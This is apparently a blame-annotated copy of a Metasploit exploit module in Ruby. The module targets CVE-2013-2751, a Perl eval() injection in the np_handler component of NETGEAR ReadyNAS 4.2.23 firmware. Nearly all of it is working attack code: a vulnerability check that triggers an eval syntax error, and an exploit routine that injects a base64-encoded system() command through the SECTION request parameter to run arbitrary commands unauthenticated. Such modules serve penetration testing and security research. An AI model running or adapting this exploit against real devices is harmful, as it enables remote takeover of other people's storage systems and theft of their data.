2013-10-24 21:10:32 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ManualRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'NETGEAR ReadyNAS Perl Code Evaluation',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
|
2013-12-02 22:19:05 +00:00
|
|
|
vulnerability exists on the web front end, specifically in the np_handler.pl component,
|
|
|
|
due to an insecure usage of the eval() perl function. This module has been tested
|
|
|
|
successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment.
|
2013-10-24 21:10:32 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2013-10-31 00:34:54 +00:00
|
|
|
'Craig Young', # Vulnerability discovery
|
2013-10-24 21:10:32 +00:00
|
|
|
'hdm', # diff the patch
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-2751' ],
|
|
|
|
[ 'OSVDB', '98826' ],
|
|
|
|
[ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],
|
|
|
|
[ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]
|
|
|
|
],
|
|
|
|
'Platform' => ['unix'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 4096, # Has into account Apache request length and base64 ratio
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl telnet'
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2013-12-02 22:19:05 +00:00
|
|
|
# Tested on an emulated environment, need to check this
|
|
|
|
# against a real device
|
2013-10-24 21:10:32 +00:00
|
|
|
[ 'NETGEAR ReadyNAS 4.2.23', { }]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SSL' => true
|
|
|
|
},
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jul 12 2013'
|
|
|
|
))
|
|
|
|
|
2013-10-24 21:30:26 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443)
|
|
|
|
], self.class)
|
|
|
|
|
2013-10-24 21:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def send_request_payload(payload)
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri("/np_handler", ""),
|
|
|
|
'vars_get' => {
|
|
|
|
'PAGE' =>'Nasstate',
|
|
|
|
'OPERATION' => 'get',
|
|
|
|
'SECTION' => payload
|
|
|
|
}
|
|
|
|
})
|
|
|
|
return res
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_payload(")")
|
|
|
|
if res and res.code == 200 and res.body =~ /syntax error at \(eval/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
|
|
|
|
print_status("#{peer} - Executing payload...")
|
|
|
|
send_request_payload(my_payload)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|